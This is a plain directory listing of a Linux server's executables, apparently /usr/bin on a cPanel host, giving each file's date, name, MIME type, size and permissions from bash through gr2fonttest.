2023-04-01 08:44:39
bash
application/x-sharedlib
1.1 MB
-rwxr-xr-x
2025-08-26 08:48:39
bashbug
text/x-shellscript
7.18 KB
-rwxr-xr-x
2025-08-26 08:48:31
bashbug-64
text/x-shellscript
7.18 KB
-rwxr-xr-x
2025-08-26 08:48:31
batch
text/x-shellscript
137 B
-rwxr-xr-x
2022-10-10 10:23:17
bc
application/x-sharedlib
94.98 KB
-rwxr-xr-x
2019-10-12 12:34:38
bcomps
application/x-sharedlib
20.62 KB
-rwxr-xr-x
2024-04-06 12:47:15
bdftopcf
application/x-sharedlib
45.4 KB
-rwxr-xr-x
2021-10-09 11:42:47
bg
text/x-shellscript
26 B
-rwxr-xr-x
2025-08-26 08:48:39
bind9-config
text/x-shellscript
3.33 KB
-rwxr-xr-x
2025-02-20 09:05:35
bison
application/x-sharedlib
437.72 KB
-rwxr-xr-x
2019-10-12 12:28:39
bond2team
text/x-shellscript
22.74 KB
-rwxr-xr-x
2020-07-26 09:58:14
bootctl
application/x-sharedlib
45.15 KB
-rwxr-xr-x
2025-04-22 01:58:56
brotli
application/x-sharedlib
739.2 KB
-rwxr-xr-x
2021-04-08 09:00:44
bunzip2
application/x-sharedlib
36.86 KB
-rwxr-xr-x
2025-01-28 01:38:59
busctl
application/x-sharedlib
77.26 KB
-rwxr-xr-x
2025-04-22 01:58:56
bzcat
application/x-sharedlib
36.86 KB
-rwxr-xr-x
2025-01-28 01:38:59
bzcmp
text/x-shellscript
2.08 KB
-rwxr-xr-x
2025-01-28 01:38:58
bzdiff
text/x-shellscript
2.08 KB
-rwxr-xr-x
2025-01-28 01:38:58
bzegrep
text/x-shellscript
1.64 KB
-rwxr-xr-x
2025-01-28 01:38:58
bzfgrep
text/x-shellscript
1.64 KB
-rwxr-xr-x
2025-01-28 01:38:58
bzgrep
text/x-shellscript
1.64 KB
-rwxr-xr-x
2025-01-28 01:38:58
bzip2
application/x-sharedlib
36.86 KB
-rwxr-xr-x
2025-01-28 01:38:59
bzip2recover
application/x-sharedlib
16.44 KB
-rwxr-xr-x
2025-01-28 01:38:59
bzless
text/x-shellscript
1.23 KB
-rwxr-xr-x
2025-01-28 01:38:58
bzmore
text/x-shellscript
1.23 KB
-rwxr-xr-x
2025-01-28 01:38:58
c++
application/x-sharedlib
1.21 MB
-rwxr-xr-x
2025-08-26 09:47:24
c++filt
application/x-sharedlib
28.89 KB
-rwxr-xr-x
2025-10-07 06:44:04
c89
text/x-shellscript
224 B
-rwxr-xr-x
2025-08-26 09:45:19
c99
text/x-shellscript
215 B
-rwxr-xr-x
2025-08-26 09:45:19
ca-legacy
text/x-shellscript
1.61 KB
-rwxr-xr-x
2024-08-21 07:16:41
cairo-sphinx
application/x-sharedlib
69.71 KB
-rwxr-xr-x
2022-04-18 04:06:31
cal
application/x-sharedlib
65.98 KB
-rwxr-xr-x
2024-04-06 01:02:53
captoinfo
application/x-sharedlib
85.31 KB
-rwxr-xr-x
2023-10-14 06:54:49
cat
application/x-sharedlib
37.54 KB
-rwxr-xr-x
2023-04-01 08:44:39
catchsegv
text/x-shellscript
3.21 KB
-rwxr-xr-x
2025-08-05 02:01:26
catman
application/x-sharedlib
41.45 KB
-rwxr-xr-x
2021-10-08 01:04:46
cc
application/x-sharedlib
1.21 MB
-rwxr-xr-x
2025-08-26 09:47:26
ccomps
application/x-sharedlib
24.72 KB
-rwxr-xr-x
2024-04-06 12:47:15
cd
text/x-shellscript
26 B
-rwxr-xr-x
2025-08-26 08:48:39
centrino-decode
application/x-sharedlib
11.27 KB
-rwxr-xr-x
2025-10-20 08:13:35
certutil
application/x-sharedlib
199.15 KB
-rwxr-xr-x
2025-09-09 01:57:06
chacl
application/x-sharedlib
16.36 KB
-rwxr-xr-x
2024-04-06 12:15:42
chage
application/x-sharedlib
77.68 KB
-rwsr-xr-x
2024-04-06 02:00:13
chattr
application/x-sharedlib
16.41 KB
-rwxr-xr-x
2025-10-07 07:08:06
chcon
application/x-sharedlib
70.43 KB
-rwxr-xr-x
2023-04-01 08:44:39
chfn
32.89 KB
-rws--x--x
2024-04-06 01:02:53
chgrp
application/x-sharedlib
66.35 KB
-rwxr-xr-x
2023-04-01 08:44:39
chmem
application/x-sharedlib
45.47 KB
-rwxr-xr-x
2024-04-06 01:02:53
chmod
application/x-sharedlib
62.29 KB
-rwxr-xr-x
2023-04-01 08:44:39
chown
application/x-sharedlib
70.39 KB
-rwxr-xr-x
2023-04-01 08:44:39
chronyc
application/x-sharedlib
127.6 KB
-rwxr-xr-x
2024-11-05 07:47:21
chrt
application/x-sharedlib
37.18 KB
-rwxr-xr-x
2024-04-06 01:02:53
chsh
24.71 KB
-rwx--x--x
2024-04-06 01:02:53
chvt
application/x-sharedlib
12.53 KB
-rwxr-xr-x
2023-10-14 09:01:01
cifsiostat
application/x-sharedlib
41.35 KB
-rwxr-xr-x
2024-07-03 09:57:26
circo
application/x-sharedlib
12.26 KB
-rwxr-xr-x
2024-04-06 12:47:16
cksum
application/x-sharedlib
37.46 KB
-rwxr-xr-x
2023-04-01 08:44:39
cl-linksafe-reconfigure
text/x-shellscript
4.83 KB
-rwxr-xr-x
2021-07-04 09:39:09
clear
application/x-sharedlib
12.54 KB
-rwxr-xr-x
2023-10-14 06:54:49
cluster
application/x-sharedlib
518.33 KB
-rwxr-xr-x
2024-04-06 12:47:16
clusterdb
application/x-sharedlib
70.23 KB
-rwxr-xr-x
2024-02-27 08:25:00
cmp
application/x-sharedlib
103.76 KB
-rwxr-xr-x
2020-05-04 03:15:14
cmsutil
application/x-sharedlib
122.48 KB
-rwxr-xr-x
2025-09-09 01:57:06
col
application/x-sharedlib
29 KB
-rwxr-xr-x
2024-04-06 01:02:53
colcrt
application/x-sharedlib
16.48 KB
-rwxr-xr-x
2024-04-06 01:02:53
colrm
application/x-sharedlib
24.88 KB
-rwxr-xr-x
2024-04-06 01:02:53
column
application/x-sharedlib
49.47 KB
-rwxr-xr-x
2024-04-06 01:02:53
comm
application/x-sharedlib
41.63 KB
-rwxr-xr-x
2023-04-01 08:44:39
command
text/x-shellscript
31 B
-rwxr-xr-x
2025-08-26 08:48:39
compare
application/x-sharedlib
11.85 KB
-rwxr-xr-x
2025-04-01 01:15:58
compile_et
text/x-shellscript
1.31 KB
-rwxr-xr-x
2025-10-07 07:07:55
composite
application/x-sharedlib
11.84 KB
-rwxr-xr-x
2025-04-01 01:15:58
config_data
text/x-perl
6.97 KB
-rwxr-xr-x
2019-10-13 10:59:01
conjure
application/x-sharedlib
11.84 KB
-rwxr-xr-x
2025-04-01 01:15:58
convert
application/x-sharedlib
11.84 KB
-rwxr-xr-x
2025-04-01 01:15:58
coredumpctl
application/x-sharedlib
44.91 KB
-rwxr-xr-x
2025-04-22 01:58:57
corelist
text/x-perl
14.64 KB
-rwxr-xr-x
2019-10-13 11:00:26
cp
application/x-sharedlib
148.05 KB
-rwxr-xr-x
2023-04-01 08:44:39
cpan
text/x-perl
8.17 KB
-rwxr-xr-x
2025-06-03 02:32:21
cpan-mirrors
text/x-perl
4.19 KB
-rwxr-xr-x
2025-06-03 02:32:21
cpapi1
application/x-executable
3.18 MB
-rwxr-xr-x
2025-10-16 10:57:41
cpapi2
application/x-executable
3.18 MB
-rwxr-xr-x
2025-10-16 10:57:41
cpapi3
application/x-executable
3.18 MB
-rwxr-xr-x
2025-10-16 10:57:41
cpio
application/x-sharedlib
159.8 KB
-rwxr-xr-x
2022-04-18 05:19:04
cpp
application/x-sharedlib
1.21 MB
-rwxr-xr-x
2025-08-26 09:47:25
cpupower
application/x-sharedlib
66.91 KB
-rwxr-xr-x
2025-10-20 08:12:22
crb
text/x-shellscript
2.58 KB
-rwxr--r--
2025-04-22 05:22:20
crc32
text/x-perl
1.02 KB
-rwxr-xr-x
2019-11-12 06:41:42
createdb
application/x-sharedlib
70.22 KB
-rwxr-xr-x
2024-02-27 08:25:00
createuser
application/x-sharedlib
74.63 KB
-rwxr-xr-x
2024-02-27 08:25:00
crlutil
application/x-sharedlib
134.95 KB
-rwxr-xr-x
2025-09-09 01:57:06
cronnext
application/x-sharedlib
49.8 KB
-rwxr-xr-x
2024-04-06 11:40:05
crontab
application/x-sharedlib
61.67 KB
-rwsr-xr-x
2024-04-06 11:40:05
csplit
application/x-sharedlib
53.76 KB
-rwxr-xr-x
2023-04-01 08:44:39
csslint-0.6
application/x-sharedlib
24.56 KB
-rwxr-xr-x
2020-09-22 09:07:00
curl
application/x-sharedlib
230.08 KB
-rwxr-xr-x
2025-10-07 06:37:37
cut
application/x-sharedlib
49.59 KB
-rwxr-xr-x
2023-04-01 08:44:39
cvtsudoers
application/x-sharedlib
284.21 KB
-rwxr-xr-x
2025-08-26 09:02:52
cxpm
application/x-sharedlib
29.11 KB
-rwxr-xr-x
2024-03-30 01:53:16
date
application/x-sharedlib
106.03 KB
-rwxr-xr-x
2023-04-01 08:44:39
db_archive
application/x-sharedlib
12.45 KB
-rwxr-xr-x
2021-09-21 04:38:10
db_checkpoint
application/x-sharedlib
16.48 KB
-rwxr-xr-x
2021-09-21 04:38:10
db_deadlock
application/x-sharedlib
16.48 KB
-rwxr-xr-x
2021-09-21 04:38:10
db_dump
application/x-sharedlib
16.51 KB
-rwxr-xr-x
2021-09-21 04:38:10
db_dump185
application/x-sharedlib
69.55 KB
-rwxr-xr-x
2021-09-21 04:38:10
db_hotbackup
application/x-sharedlib
20.49 KB
-rwxr-xr-x
2021-09-21 04:38:10
db_load
application/x-sharedlib
28.61 KB
-rwxr-xr-x
2021-09-21 04:38:10
db_log_verify
application/x-sharedlib
16.52 KB
-rwxr-xr-x
2021-09-21 04:38:10
db_printlog
application/x-sharedlib
33.4 KB
-rwxr-xr-x
2021-09-21 04:38:10
db_recover
application/x-sharedlib
16.51 KB
-rwxr-xr-x
2021-09-21 04:38:10
db_replicate
application/x-sharedlib
16.49 KB
-rwxr-xr-x
2021-09-21 04:38:10
db_stat
application/x-sharedlib
16.48 KB
-rwxr-xr-x
2021-09-21 04:38:10
db_tuner
application/x-sharedlib
24.55 KB
-rwxr-xr-x
2021-09-21 04:38:10
db_upgrade
application/x-sharedlib
12.45 KB
-rwxr-xr-x
2021-09-21 04:38:10
db_verify
application/x-sharedlib
16.46 KB
-rwxr-xr-x
2021-09-21 04:38:10
dbilogstrip
text/x-perl
1.35 KB
-rwxr-xr-x
2022-04-25 04:10:04
dbiprof
text/x-perl
6.06 KB
-rwxr-xr-x
2022-04-25 04:10:04
dbus-binding-tool
application/x-sharedlib
110.43 KB
-rwxr-xr-x
2019-10-25 12:53:05
dbus-cleanup-sockets
application/x-sharedlib
16.39 KB
-rwxr-xr-x
2025-08-26 11:23:03
dbus-daemon
application/x-sharedlib
239.72 KB
-rwxr-xr-x
2025-08-26 11:23:03
dbus-monitor
application/x-sharedlib
28.58 KB
-rwxr-xr-x
2025-08-26 11:23:03
dbus-run-session
application/x-sharedlib
15.88 KB
-rwxr-xr-x
2025-08-26 11:23:03
dbus-send
application/x-sharedlib
28.54 KB
-rwxr-xr-x
2025-08-26 11:23:03
dbus-test-tool
application/x-sharedlib
24.6 KB
-rwxr-xr-x
2025-08-26 11:23:03
dbus-update-activation-environment
application/x-sharedlib
16.41 KB
-rwxr-xr-x
2025-08-26 11:23:03
dbus-uuidgen
application/x-sharedlib
12.38 KB
-rwxr-xr-x
2025-08-26 11:23:03
dc
application/x-sharedlib
53.02 KB
-rwxr-xr-x
2019-10-12 12:34:38
dd
application/x-sharedlib
78.05 KB
-rwxr-xr-x
2023-04-01 08:44:39
deallocvt
application/x-sharedlib
12.54 KB
-rwxr-xr-x
2023-10-14 09:01:01
debuginfo-install
text/x-python
3.62 KB
-rwxr-xr-x
2024-04-08 10:02:46
debuginfod-find
application/x-sharedlib
16.47 KB
-rwxr-xr-x
2025-08-25 12:56:12
delv
application/x-sharedlib
42.46 KB
-rwxr-xr-x
2025-02-20 09:05:41
df
application/x-sharedlib
91.16 KB
-rwxr-xr-x
2023-04-01 08:44:39
diff
application/x-sharedlib
268.01 KB
-rwxr-xr-x
2020-05-04 03:15:14
diff3
application/x-sharedlib
128.6 KB
-rwxr-xr-x
2020-05-04 03:15:14
diffimg
application/x-sharedlib
12.27 KB
-rwxr-xr-x
2024-04-06 12:47:16
dig
application/x-sharedlib
162.19 KB
-rwxr-xr-x
2025-02-20 09:05:41
dijkstra
application/x-sharedlib
16.71 KB
-rwxr-xr-x
2024-04-06 12:47:16
dir
application/x-sharedlib
139.97 KB
-rwxr-xr-x
2023-04-01 08:44:39
dircolors
application/x-sharedlib
49.63 KB
-rwxr-xr-x
2023-04-01 08:44:39
dirmngr
application/x-sharedlib
580.16 KB
-rwxr-xr-x
2022-09-13 10:15:05
dirmngr-client
application/x-sharedlib
120.12 KB
-rwxr-xr-x
2022-09-13 10:15:05
dirname
application/x-sharedlib
33.44 KB
-rwxr-xr-x
2023-04-01 08:44:39
display
application/x-sharedlib
11.84 KB
-rwxr-xr-x
2025-04-01 01:15:58
dltest
application/x-sharedlib
13.05 KB
-rwxr-xr-x
2019-10-14 09:51:19
dmesg
application/x-sharedlib
77.88 KB
-rwxr-xr-x
2024-04-06 01:02:53
dnf
text/x-python
2.05 KB
-rwxr-xr-x
2025-03-11 09:47:56
dnf-3
text/x-python
2.05 KB
-rwxr-xr-x
2025-03-11 09:47:56
dnsdomainname
application/x-sharedlib
21.16 KB
-rwxr-xr-x
2019-10-11 01:06:51
dnstap-read
application/x-sharedlib
20.43 KB
-rwxr-xr-x
2025-02-20 09:05:41
domainname
application/x-sharedlib
21.16 KB
-rwxr-xr-x
2019-10-11 01:06:51
dot
application/x-sharedlib
12.26 KB
-rwxr-xr-x
2024-04-06 12:47:16
dot2gxl
application/x-sharedlib
41.3 KB
-rwxr-xr-x
2024-04-06 12:47:15
dotty
text/x-shellscript
2.04 KB
-rwxr-xr-x
2024-04-06 12:47:07
doveadm
application/x-sharedlib
983.31 KB
-rwxr-xr-x
2025-02-25 08:04:29
doveconf
application/x-sharedlib
228.41 KB
-rwxr-xr-x
2025-02-25 08:04:29
dovecot-sysreport
text/x-shellscript
5.8 KB
-rwxr-xr-x
2025-02-25 08:04:17
dpkg
application/x-sharedlib
316.17 KB
-rwxr-xr-x
2021-12-15 12:46:22
dpkg-deb
application/x-sharedlib
165.5 KB
-rwxr-xr-x
2021-12-15 12:46:22
dpkg-divert
application/x-sharedlib
157.75 KB
-rwxr-xr-x
2021-12-15 12:46:22
dpkg-maintscript-helper
text/x-shellscript
20.67 KB
-rwxr-xr-x
2021-12-15 12:46:10
dpkg-query
application/x-sharedlib
165.84 KB
-rwxr-xr-x
2021-12-15 12:46:22
dpkg-realpath
text/x-shellscript
4.05 KB
-rwxr-xr-x
2021-12-15 12:46:10
dpkg-split
application/x-sharedlib
132.39 KB
-rwxr-xr-x
2021-12-15 12:46:22
dpkg-statoverride
application/x-sharedlib
66.41 KB
-rwxr-xr-x
2021-12-15 12:46:22
dpkg-trigger
application/x-sharedlib
87.66 KB
-rwxr-xr-x
2021-12-15 12:46:22
dracut
text/x-shellscript
67.56 KB
-rwxr-xr-x
2025-07-15 09:09:28
dropdb
application/x-sharedlib
66.02 KB
-rwxr-xr-x
2024-02-27 08:25:00
dropuser
application/x-sharedlib
65.99 KB
-rwxr-xr-x
2024-02-27 08:25:00
dsync
application/x-sharedlib
983.31 KB
-rwxr-xr-x
2025-02-25 08:04:29
dtrace
text/x-python
17.39 KB
-rwxr-xr-x
2023-10-14 01:06:45
du
application/x-sharedlib
107.1 KB
-rwxr-xr-x
2023-04-01 08:44:39
dumpkeys
application/x-sharedlib
169.88 KB
-rwxr-xr-x
2023-10-14 09:01:01
dumpsexp
application/x-sharedlib
16.43 KB
-rwxr-xr-x
2022-06-28 11:54:07
dwp
application/x-sharedlib
2.13 MB
-rwxr-xr-x
2025-10-07 06:44:04
dwz
application/x-sharedlib
167.64 KB
-rwxr-xr-x
2021-10-09 03:26:08
ea-php72
application/x-sharedlib
6.18 MB
-rwxr-xr-x
2025-10-15 09:18:32
ea-php72-pear
text/x-shellscript
383 B
-rwxr-xr-x
2025-10-15 09:56:39
ea-php72-pecl
text/x-shellscript
299 B
-rwxr-xr-x
2025-10-15 09:56:39
ea-php73
application/x-executable
5.32 MB
-rwxr-xr-x
2025-10-15 09:19:13
ea-php73-pear
text/x-shellscript
383 B
-rwxr-xr-x
2025-10-15 10:00:10
ea-php73-pecl
text/x-shellscript
299 B
-rwxr-xr-x
2025-10-15 10:00:10
ea-php74
application/x-executable
6.09 MB
-rwxr-xr-x
2025-10-15 09:23:21
ea-php74-pear
text/x-shellscript
383 B
-rwxr-xr-x
2025-10-15 09:58:59
ea-php74-pecl
text/x-shellscript
299 B
-rwxr-xr-x
2025-10-15 09:58:59
ea-php80
application/x-executable
7.61 MB
-rwxr-xr-x
2025-10-15 09:04:57
ea-php80-pear
text/x-shellscript
383 B
-rwxr-xr-x
2025-10-15 09:19:12
ea-php80-pecl
text/x-shellscript
299 B
-rwxr-xr-x
2025-10-15 09:19:12
ea-php81
application/x-executable
7.72 MB
-rwxr-xr-x
2025-10-15 09:06:46
ea-php81-pear
text/x-shellscript
383 B
-rwxr-xr-x
2025-10-15 09:21:50
ea-php81-pecl
text/x-shellscript
299 B
-rwxr-xr-x
2025-10-15 09:21:50
ea-php82
application/x-executable
7.77 MB
-rwxr-xr-x
2025-10-15 09:08:11
ea-php82-pear
text/x-shellscript
383 B
-rwxr-xr-x
2025-10-15 09:24:41
ea-php82-pecl
text/x-shellscript
299 B
-rwxr-xr-x
2025-10-15 09:24:41
ea-php83
application/x-executable
7.8 MB
-rwxr-xr-x
2025-10-15 09:09:11
ea-php83-pear
text/x-shellscript
383 B
-rwxr-xr-x
2025-10-15 09:24:46
ea-php83-pecl
text/x-shellscript
299 B
-rwxr-xr-x
2025-10-15 09:24:46
easy_install-2
text/x-python
234 B
-rwxr-xr-x
2024-04-10 05:04:00
easy_install-2.7
text/x-python
234 B
-rwxr-xr-x
2024-04-10 05:04:00
easy_install-3
text/x-python
246 B
-rwxr-xr-x
2025-07-15 09:13:40
easy_install-3.6
text/x-python
246 B
-rwxr-xr-x
2025-07-15 09:13:40
echo
application/x-sharedlib
37.43 KB
-rwxr-xr-x
2023-04-01 08:44:39
edgepaint
application/x-sharedlib
420.79 KB
-rwxr-xr-x
2024-04-06 12:47:16
egrep
text/x-shellscript
28 B
-rwxr-xr-x
2019-10-11 03:15:56
eject
application/x-sharedlib
57.78 KB
-rwxr-xr-x
2024-04-06 01:02:53
elfedit
application/x-sharedlib
33.29 KB
-rwxr-xr-x
2025-10-07 06:44:04
enc2xs
text/x-perl
40.97 KB
-rwxr-xr-x
2019-10-13 08:46:10
encguess
text/x-perl
2.91 KB
-rwxr-xr-x
2019-10-13 08:46:10
enchant-2
application/x-sharedlib
20.25 KB
-rwxr-xr-x
2021-04-08 10:42:35
enchant-lsmod-2
application/x-sharedlib
12.35 KB
-rwxr-xr-x
2021-04-08 10:42:35
env
application/x-sharedlib
41.43 KB
-rwxr-xr-x
2023-04-01 08:44:39
envml
text/x-shellscript
4.1 KB
-rwxr-xr-x
2023-10-14 06:46:13
envsubst
application/x-sharedlib
48.99 KB
-rwxr-xr-x
2019-11-18 05:17:29
eps2eps
text/x-shellscript
639 B
-rwxr-xr-x
2025-06-03 02:48:11
eqn
application/x-sharedlib
232.16 KB
-rwxr-xr-x
2019-10-13 02:29:41
event_rpcgen.py
text/plain
54.26 KB
-rwxr-xr-x
2019-10-12 12:29:31
evmctl
application/x-sharedlib
62.54 KB
-rwxr-xr-x
2021-04-08 03:44:17
ex
application/x-sharedlib
1.13 MB
-rwxr-xr-x
2025-10-12 12:23:15
expand
application/x-sharedlib
41.66 KB
-rwxr-xr-x
2023-04-01 08:44:39
expr
application/x-sharedlib
49.65 KB
-rwxr-xr-x
2023-04-01 08:44:39
factor
application/x-sharedlib
86.05 KB
-rwxr-xr-x
2023-04-01 08:44:39
fallocate
application/x-sharedlib
28.96 KB
-rwxr-xr-x
2024-04-06 01:02:53
false
application/x-sharedlib
33.39 KB
-rwxr-xr-x
2023-04-01 08:44:39
fc
text/x-shellscript
26 B
-rwxr-xr-x
2025-08-26 08:48:39
fc-cache
text/x-shellscript
132 B
-rwxr-xr-x
2021-08-16 11:04:22
fc-cache-64
application/x-sharedlib
20.35 KB
-rwxr-xr-x
2021-10-09 09:02:09
fc-cat
application/x-sharedlib
16.35 KB
-rwxr-xr-x
2021-10-09 09:02:09
fc-conflist
application/x-sharedlib
12.25 KB
-rwxr-xr-x
2021-10-09 09:02:09
fc-list
application/x-sharedlib
12.25 KB
-rwxr-xr-x
2021-10-09 09:02:09
fc-match
application/x-sharedlib
16.26 KB
-rwxr-xr-x
2021-10-09 09:02:09
fc-pattern
application/x-sharedlib
12.26 KB
-rwxr-xr-x
2021-10-09 09:02:09
fc-query
application/x-sharedlib
12.24 KB
-rwxr-xr-x
2021-10-09 09:02:09
fc-scan
application/x-sharedlib
12.26 KB
-rwxr-xr-x
2021-10-09 09:02:09
fc-validate
application/x-sharedlib
16.26 KB
-rwxr-xr-x
2021-10-09 09:02:09
fdp
application/x-sharedlib
12.26 KB
-rwxr-xr-x
2024-04-06 12:47:16
fg
text/x-shellscript
26 B
-rwxr-xr-x
2025-08-26 08:48:39
fgconsole
application/x-sharedlib
12.55 KB
-rwxr-xr-x
2023-10-14 09:01:01
fgrep
text/x-shellscript
28 B
-rwxr-xr-x
2019-10-11 03:15:56
filan
application/x-sharedlib
94.72 KB
-rwxr-xr-x
2025-07-15 09:33:30
file
application/x-sharedlib
24.69 KB
-rwxr-xr-x
2025-10-07 06:30:49
fincore
application/x-sharedlib
33.03 KB
-rwxr-xr-x
2024-04-06 01:02:53
find
application/x-sharedlib
223.3 KB
-rwxr-xr-x
2024-09-24 02:19:34
find-repos-of-install
text/x-python
3.62 KB
-rwxr-xr-x
2024-04-08 10:02:46
findmnt
application/x-sharedlib
70.6 KB
-rwxr-xr-x
2024-04-06 01:02:53
fips-finish-install
text/x-shellscript
1.29 KB
-rwxr-xr-x
2023-08-01 03:18:06
fips-mode-setup
text/x-shellscript
3.91 KB
-rwxr-xr-x
2023-08-01 03:18:06
firewall-cmd
text/x-python
139.6 KB
-rwxr-xr-x
2025-03-11 09:51:09
firewall-offline-cmd
text/x-python
120.73 KB
-rwxr-xr-x
2025-03-11 09:51:09
flex
application/x-sharedlib
428.45 KB
-rwxr-xr-x
2019-10-12 12:33:17
flex++
application/x-sharedlib
428.45 KB
-rwxr-xr-x
2019-10-12 12:33:17
flock
application/x-sharedlib
33.2 KB
-rwxr-xr-x
2024-04-06 01:02:53
fmt
application/x-sharedlib
45.57 KB
-rwxr-xr-x
2023-04-01 08:44:39
fold
application/x-sharedlib
41.48 KB
-rwxr-xr-x
2023-04-01 08:44:39
fonttosfnt
application/x-sharedlib
41.18 KB
-rwxr-xr-x
2021-10-09 11:42:47
free
application/x-sharedlib
20.79 KB
-rwxr-xr-x
2023-10-14 08:31:02
freetype-config
text/x-shellscript
4.31 KB
-rwxr-xr-x
2025-03-31 07:37:30
fribidi
application/x-sharedlib
21.14 KB
-rwxr-xr-x
2022-10-08 11:16:47
ftp
application/x-sharedlib
101.2 KB
-rwxr-xr-x
2019-10-12 12:59:55
funzip
application/x-sharedlib
36.63 KB
-rwxr-xr-x
2025-06-03 02:10:12
g++
application/x-sharedlib
1.21 MB
-rwxr-xr-x
2025-08-26 09:47:24
g13
application/x-sharedlib
212.02 KB
-rwxr-xr-x
2022-09-13 10:15:05
galera_new_cluster
text/x-shellscript
917 B
-rwxr-xr-x
2025-07-28 03:57:47
galera_recovery
text/x-shellscript
3.29 KB
-rwxr-xr-x
2025-07-28 03:57:47
gapplication
application/x-sharedlib
20.45 KB
-rwxr-xr-x
2025-07-16 07:34:45
garb-systemd
text/x-shellscript
1.2 KB
-rwxr-xr-x
2025-07-15 05:34:20
garbd
application/x-executable
1.65 MB
-rwxr-xr-x
2025-07-15 05:34:38
gawk
application/x-sharedlib
669.77 KB
-rwxr-xr-x
2022-04-18 03:56:05
gc
application/x-sharedlib
16.64 KB
-rwxr-xr-x
2024-04-06 12:47:16
gcc
application/x-sharedlib
1.21 MB
-rwxr-xr-x
2025-08-26 09:47:26
gcc-ar
application/x-sharedlib
36.66 KB
-rwxr-xr-x
2025-08-26 09:47:26
gcc-nm
application/x-sharedlib
36.66 KB
-rwxr-xr-x
2025-08-26 09:47:26
gcc-ranlib
application/x-sharedlib
36.66 KB
-rwxr-xr-x
2025-08-26 09:47:26
gcov
application/x-sharedlib
1.31 MB
-rwxr-xr-x
2025-08-26 09:47:26
gcov-dump
application/x-sharedlib
570.96 KB
-rwxr-xr-x
2025-08-26 09:47:26
gcov-tool
application/x-sharedlib
607.77 KB
-rwxr-xr-x
2025-08-26 09:47:26
gdbm_dump
application/x-sharedlib
21.05 KB
-rwxr-xr-x
2022-10-08 01:22:08
gdbm_load
application/x-sharedlib
25.31 KB
-rwxr-xr-x
2022-10-08 01:22:08
gdbmtool
application/x-sharedlib
111.57 KB
-rwxr-xr-x
2022-10-08 01:22:08
gdbus
application/x-sharedlib
48.72 KB
-rwxr-xr-x
2025-07-16 07:34:45
gdk-pixbuf-query-loaders-64
application/x-sharedlib
15.93 KB
-rwxr-xr-x
2025-08-07 07:30:09
gdk-pixbuf-thumbnailer
application/x-sharedlib
20.45 KB
-rwxr-xr-x
2025-08-07 07:30:09
gdlib-config
text/x-shellscript
2.79 KB
-rwxr-xr-x
2020-08-29 08:49:15
gencat
application/x-sharedlib
24.84 KB
-rwxr-xr-x
2025-08-05 02:12:44
genl-ctrl-list
application/x-sharedlib
12.04 KB
-rwxr-xr-x
2022-10-08 11:39:40
geqn
application/x-sharedlib
232.16 KB
-rwxr-xr-x
2019-10-13 02:29:41
getconf
application/x-sharedlib
32.46 KB
-rwxr-xr-x
2025-08-05 02:12:44
getent
application/x-sharedlib
33.13 KB
-rwxr-xr-x
2025-08-05 02:12:44
getfacl
application/x-sharedlib
25.38 KB
-rwxr-xr-x
2024-04-06 12:15:42
getkeycodes
application/x-sharedlib
12.54 KB
-rwxr-xr-x
2023-10-14 09:01:01
getopt
application/x-sharedlib
20.52 KB
-rwxr-xr-x
2024-04-06 01:02:53
getopts
text/x-shellscript
31 B
-rwxr-xr-x
2025-08-26 08:48:39
gettext
application/x-sharedlib
48.97 KB
-rwxr-xr-x
2019-11-18 05:17:29
gettext.sh
text/x-shellscript
4.52 KB
-rwxr-xr-x
2019-11-18 05:16:11
gettextize
text/x-shellscript
42.69 KB
-rwxr-xr-x
2019-11-18 05:16:48
ghostscript
application/x-sharedlib
12.35 KB
-rwxr-xr-x
2025-06-03 02:48:22
gio
application/x-sharedlib
85.22 KB
-rwxr-xr-x
2025-07-16 07:34:45
gio-querymodules-64
application/x-sharedlib
16.3 KB
-rwxr-xr-x
2025-07-16 07:34:45
git
application/x-executable
26.38 MB
-rwxr-xr-x
2025-07-09 03:46:13
git-receive-pack
application/x-executable
26.38 MB
-rwxr-xr-x
2025-07-09 03:46:13
git-shell
application/x-executable
15.79 MB
-rwxr-xr-x
2025-07-09 03:46:13
git-upload-archive
application/x-executable
26.38 MB
-rwxr-xr-x
2025-07-09 03:46:13
git-upload-pack
application/x-executable
26.38 MB
-rwxr-xr-x
2025-07-09 03:46:13
glib-compile-schemas
application/x-sharedlib
48.85 KB
-rwxr-xr-x
2025-07-16 07:34:45
gmake
application/x-sharedlib
235.32 KB
-rwxr-xr-x
2022-04-18 04:38:34
gml2gv
application/x-sharedlib
41.23 KB
-rwxr-xr-x
2024-04-06 12:47:16
gneqn
text/x-shellscript
908 B
-rwxr-xr-x
2019-10-13 02:29:37
gnroff
text/x-shellscript
3.23 KB
-rwxr-xr-x
2019-10-13 02:29:39
gpasswd
application/x-sharedlib
82.16 KB
-rwsr-xr-x
2024-04-06 02:00:13
gpg
application/x-sharedlib
1.04 MB
-rwxr-xr-x
2022-09-13 10:15:05
gpg-agent
application/x-sharedlib
419.29 KB
-rwxr-xr-x
2022-09-13 10:15:05
gpg-connect-agent
application/x-sharedlib
165.3 KB
-rwxr-xr-x
2022-09-13 10:15:05
gpg-error
application/x-sharedlib
34.16 KB
-rwxr-xr-x
2019-10-12 12:20:46
gpg-error-config
text/x-shellscript
2.26 KB
-rwxr-xr-x
2019-10-12 12:20:46
gpg-wks-server
application/x-sharedlib
206.69 KB
-rwxr-xr-x
2022-09-13 10:15:05
gpg-zip
text/x-shellscript
3.44 KB
-rwxr-xr-x
2022-09-13 10:15:00
gpg2
application/x-sharedlib
1.04 MB
-rwxr-xr-x
2022-09-13 10:15:05
gpgconf
application/x-sharedlib
176.09 KB
-rwxr-xr-x
2022-09-13 10:15:05
gpgme-json
application/x-sharedlib
85.68 KB
-rwxr-xr-x
2024-04-06 12:29:34
gpgparsemail
application/x-sharedlib
28.74 KB
-rwxr-xr-x
2022-09-13 10:15:05
gpgrt-config
text/x-shellscript
2.26 KB
-rwxr-xr-x
2019-10-12 12:20:46
gpgsplit
application/x-sharedlib
87.02 KB
-rwxr-xr-x
2022-09-13 10:15:05
gpgv
application/x-sharedlib
451.58 KB
-rwxr-xr-x
2022-09-13 10:15:05
gpgv2
application/x-sharedlib
451.58 KB
-rwxr-xr-x
2022-09-13 10:15:05
gpic
application/x-sharedlib
293.84 KB
-rwxr-xr-x
2019-10-13 02:29:41
gpio-event-mon
application/x-sharedlib
14.96 KB
-rwxr-xr-x
2025-10-20 08:13:35
gpio-hammer
application/x-sharedlib
14.96 KB
-rwxr-xr-x
2025-10-20 08:13:35
gprof
application/x-sharedlib
103.35 KB
-rwxr-xr-x
2025-10-07 06:44:04
gr2fonttest
application/x-sharedlib
29.95 KB
